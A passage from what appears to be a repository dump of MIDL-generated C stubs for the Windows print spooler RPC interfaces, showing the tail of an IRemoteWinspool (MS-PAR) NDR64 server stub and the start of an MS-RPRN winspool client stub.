(NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag20_t __midl_frag20 =\n{ \n/* *SPLCLIENT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag21\n};\n\nstatic const __midl_frag18_t __midl_frag18 =\n{ \n/* __MIDL_IRemoteWinspool_0014 */\n    { \n    /* __MIDL_IRemoteWinspool_0014 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag107,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 3 /* 0x3 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag20,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag25,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag27,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag17_t __midl_frag17 =\n{ \n/* SPLCLIENT_CONTAINER */\n    { \n    /* SPLCLIENT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag18\n        },\n        { \n        /* SPLCLIENT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag14_t __midl_frag14 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag11\n    }\n};\n\nstatic const __midl_frag11_t __midl_frag11 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag107\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag10_t __midl_frag10 =\n{ \n/* DEVMODE_CONTAINER */\n    { \n    /* DEVMODE_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DEVMODE_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag14,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag2_t __midl_frag2 =\n{ \n/* RpcAsyncOpenPrinter */\n    { \n    /* RpcAsyncOpenPrinter */      /* procedure RpcAsyncOpenPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag942,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag99,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag942,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* AccessRequired */      /* parameter AccessRequired */\n        &__midl_frag948,\n        { \n        /* AccessRequired */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag17,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1065,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef IRemoteWinspool_Ndr64ProcTable[] =\n    {\n    &__midl_frag2,\n    &__midl_frag33,\n    &__midl_frag101,\n    &__midl_frag147,\n    &__midl_frag159,\n    &__midl_frag199,\n    &__midl_frag185,\n    &__midl_frag189,\n    &__midl_frag192,\n    &__midl_frag199,\n    &__midl_frag210,\n    &__midl_frag224,\n    &__midl_frag227,\n    &__midl_frag237,\n    &__midl_frag240,\n    &__midl_frag243,\n    &__midl_frag246,\n    &__midl_frag260,\n    &__midl_frag276,\n    &__midl_frag287,\n    &__midl_frag300,\n    &__midl_frag304,\n    &__midl_frag322,\n    &__midl_frag327,\n    &__midl_frag340,\n    &__midl_frag346,\n    &__midl_frag359,\n    &__midl_frag378,\n    &__midl_frag398,\n    &__midl_frag412,\n    &__midl_frag436,\n    &__midl_frag429,\n    &__midl_frag436,\n    &__midl_frag441,\n    &__midl_frag460,\n    &__midl_frag494,\n    &__midl_frag500,\n    &__midl_frag514,\n    &__midl_frag518,\n    &__midl_frag533,\n    &__midl_frag635,\n    &__midl_frag651,\n    &__midl_frag665,\n    &__midl_frag673,\n    &__midl_frag839,\n    &__midl_frag693,\n    &__midl_frag709,\n    &__midl_frag723,\n    &__midl_frag737,\n    &__midl_frag751,\n    &__midl_frag784,\n    &__midl_frag791,\n    &__midl_frag815,\n    &__midl_frag815,\n    &__midl_frag823,\n    &__midl_frag839,\n    &__midl_frag849,\n    &__midl_frag855,\n    &__midl_frag868,\n    &__midl_frag915,\n    &__midl_frag919,\n    &__midl_frag925,\n    &__midl_frag930,\n    &__midl_frag941,\n    &__midl_frag956,\n    &__midl_frag972,\n    &__midl_frag984,\n    &__midl_frag1001,\n    &__midl_frag1009,\n    &__midl_frag1019,\n    &__midl_frag1025,\n    &__midl_frag1045,\n    &__midl_frag1055,\n    &__midl_frag1061,\n    &__midl_frag1071\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC IRemoteWinspool_StubDesc = \n    {\n    (void *)& IRemoteWinspool___RpcServerInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    0,\n    RundownRoutines,\n    0,\n    0,\n    0,\n    ms2Dpar__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& IRemoteWinspool_ServerInfo,   /* proxy/server info */\n    &ms2Dpar_ExprDesc\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const RPC_DISPATCH_FUNCTION IRemoteWinspool_NDR64__table[] =\n    {\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE IRemoteWinspool_NDR64__v1_0_DispatchTable = \n    {\n    75,\n    (RPC_DISPATCH_FUNCTION*)IRemoteWinspool_NDR64__table\n    };\n\nstatic const MIDL_SYNTAX_INFO IRemoteWinspool_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&IRemoteWinspool_v1_0_DispatchTable,\n    ms2Dpar__MIDL_ProcFormatString.Format,\n    IRemoteWinspool_FormatStringOffsetTable,\n    ms2Dpar__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    (RPC_DISPATCH_TABLE*)&IRemoteWinspool_NDR64__v1_0_DispatchTable,\n    0 ,\n    (unsigned short *) IRemoteWinspool_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\n\nstatic const SERVER_ROUTINE IRemoteWinspool_ServerRoutineTable[] = \n    {\n    (SERVER_ROUTINE)RpcAsyncOpenPrinter,\n    (SERVER_ROUTINE)RpcAsyncAddPrinter,\n    (SERVER_ROUTINE)RpcAsyncSetJob,\n    (SERVER_ROUTINE)RpcAsyncGetJob,\n    (SERVER_ROUTINE)RpcAsyncEnumJobs,\n    (SERVER_ROUTINE)RpcAsyncAddJob,\n    (SERVER_ROUTINE)RpcAsyncScheduleJob,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinter,\n    (SERVER_ROUTINE)RpcAsyncSetPrinter,\n    (SERVER_ROUTINE)RpcAsyncGetPrinter,\n    (SERVER_ROUTINE)RpcAsyncStartDocPrinter,\n    (SERVER_ROUTINE)RpcAsyncStartPagePrinter,\n    (SERVER_ROUTINE)RpcAsyncWritePrinter,\n    (SERVER_ROUTINE)RpcAsyncEndPagePrinter,\n    (SERVER_ROUTINE)RpcAsyncEndDocPrinter,\n    (SERVER_ROUTINE)RpcAsyncAbortPrinter,\n    (SERVER_ROUTINE)RpcAsyncGetPrinterData,\n    (SERVER_ROUTINE)RpcAsyncGetPrinterDataEx,\n    (SERVER_ROUTINE)RpcAsyncSetPrinterData,\n    (SERVER_ROUTINE)RpcAsyncSetPrinterDataEx,\n    (SERVER_ROUTINE)RpcAsyncClosePrinter,\n    (SERVER_ROUTINE)RpcAsyncAddForm,\n    (SERVER_ROUTINE)RpcAsyncDeleteForm,\n    (SERVER_ROUTINE)RpcAsyncGetForm,\n    (SERVER_ROUTINE)RpcAsyncSetForm,\n    (SERVER_ROUTINE)RpcAsyncEnumForms,\n    (SERVER_ROUTINE)RpcAsyncGetPrinterDriver,\n    (SERVER_ROUTINE)RpcAsyncEnumPrinterData,\n    (SERVER_ROUTINE)RpcAsyncEnumPrinterDataEx,\n    (SERVER_ROUTINE)RpcAsyncEnumPrinterKey,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinterData,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinterDataEx,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinterKey,\n    (SERVER_ROUTINE)RpcAsyncXcvData,\n    (SERVER_ROUTINE)RpcAsyncSendRecvBidiData,\n    (SERVER_ROUTINE)RpcAsyncCreatePrinterIC,\n    (SERVER_ROUTINE)RpcAsyncPlayGdiScriptOnPrinterIC,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinterIC,\n    (SERVER_ROUTINE)RpcAsyncEnumPrinters,\n    (SERVER_ROUTINE)RpcAsyncAddPrinterDriver,\n    (SERVER_ROUTINE)RpcAsyncEnumPrinterDrivers,\n    (SERVER_ROUTINE)RpcAsyncGetPrinterDriverDirectory,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinterDriver,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinterDriverEx,\n    (SERVER_ROUTINE)RpcAsyncAddPrintProcessor,\n    (SERVER_ROUTINE)RpcAsyncEnumPrintProcessors,\n    (SERVER_ROUTINE)RpcAsyncGetPrintProcessorDirectory,\n    (SERVER_ROUTINE)RpcAsyncEnumPorts,\n    (SERVER_ROUTINE)RpcAsyncEnumMonitors,\n    (SERVER_ROUTINE)RpcAsyncAddPort,\n    (SERVER_ROUTINE)RpcAsyncSetPort,\n    (SERVER_ROUTINE)RpcAsyncAddMonitor,\n    (SERVER_ROUTINE)RpcAsyncDeleteMonitor,\n    (SERVER_ROUTINE)RpcAsyncDeletePrintProcessor,\n    (SERVER_ROUTINE)RpcAsyncEnumPrintProcessorDatatypes,\n    (SERVER_ROUTINE)RpcAsyncAddPerMachineConnection,\n    (SERVER_ROUTINE)RpcAsyncDeletePerMachineConnection,\n    (SERVER_ROUTINE)RpcAsyncEnumPerMachineConnections,\n    (SERVER_ROUTINE)RpcSyncRegisterForRemoteNotifications,\n    (SERVER_ROUTINE)RpcSyncUnRegisterForRemoteNotifications,\n    (SERVER_ROUTINE)RpcSyncRefreshRemoteNotifications,\n    (SERVER_ROUTINE)RpcAsyncGetRemoteNotifications,\n    (SERVER_ROUTINE)RpcAsyncInstallPrinterDriverFromPackage,\n    (SERVER_ROUTINE)RpcAsyncUploadPrinterDriverPackage,\n    (SERVER_ROUTINE)RpcAsyncGetCorePrinterDrivers,\n    (SERVER_ROUTINE)RpcAsyncCorePrinterDriverInstalled,\n    (SERVER_ROUTINE)RpcAsyncGetPrinterDriverPackagePath,\n    (SERVER_ROUTINE)RpcAsyncDeletePrinterDriverPackage,\n    (SERVER_ROUTINE)RpcAsyncReadPrinter,\n    (SERVER_ROUTINE)RpcAsyncResetPrinter,\n    (SERVER_ROUTINE)RpcAsyncGetJobNamedPropertyValue,\n    (SERVER_ROUTINE)RpcAsyncSetJobNamedProperty,\n    (SERVER_ROUTINE)RpcAsyncDeleteJobNamedProperty,\n    (SERVER_ROUTINE)RpcAsyncEnumJobNamedProperties,\n    (SERVER_ROUTINE)RpcAsyncLogJobInfoForBranchOffice\n    };\n\nstatic const MIDL_SERVER_INFO IRemoteWinspool_ServerInfo = \n    {\n    &IRemoteWinspool_StubDesc,\n    IRemoteWinspool_ServerRoutineTable,\n    ms2Dpar__MIDL_ProcFormatString.Format,\n    (unsigned short *) IRemoteWinspool_FormatStringOffsetTable,\n    0,\n    (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax_1_0,\n    2,\n    (MIDL_SYNTAX_INFO*)IRemoteWinspool_SyntaxInfo\n    };\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-rprn_c.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for IDL_FILES\\ms-rprn.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n\n#include \"../lib/ms-rprn_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   2497                              \n#define PROC_FORMAT_STRING_SIZE   6329                              \n#define EXPR_FORMAT_STRING_SIZE   17                                \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Drprn_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Drprn_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Drprn_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\n\nextern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString;\nextern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString;\nextern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString;\n\n#define GENERIC_BINDING_TABLE_SIZE   1            \n\n\n/* Standard interface: winspool, ver. 1.0,\n   GUID={0x12345678,0x1234,0xabcd,{0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab}} */\n\n extern const MIDL_STUBLESS_PROXY_INFO winspool_ProxyInfo;\n\n\nstatic const RPC_CLIENT_INTERFACE winspool___RpcClientInterface =\n    {\n    sizeof(RPC_CLIENT_INTERFACE),\n    {{0x12345678,0x1234,0xabcd,{0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab}},{1,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    0,\n    0,\n    0,\n    &winspool_ProxyInfo,\n    0x02000000\n    };\nRPC_IF_HANDLE winspool_v1_0_c_ifspec = (RPC_IF_HANDLE)& winspool___RpcClientInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC winspool_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nstatic RPC_BINDING_HANDLE winspool__MIDL_AutoBindHandle;\n\n\nDWORD RpcEnumPrinters( \n    /* [in] */ DWORD Flags,\n    /* [unique][string][in] */ STRING_HANDLE Name,\n    /* [in] */ DWORD Level,\n    /* [disable_consistency_check][size_is][unique][out][in] */ BYTE *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&winspool_ProxyInfo,\n                  0,\n                  0,\n                  Flags,\n                  Name,\n                  Level,\n                  pPrinterEnum,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcOpenPrinter( \n    /* [unique][string][in] */ 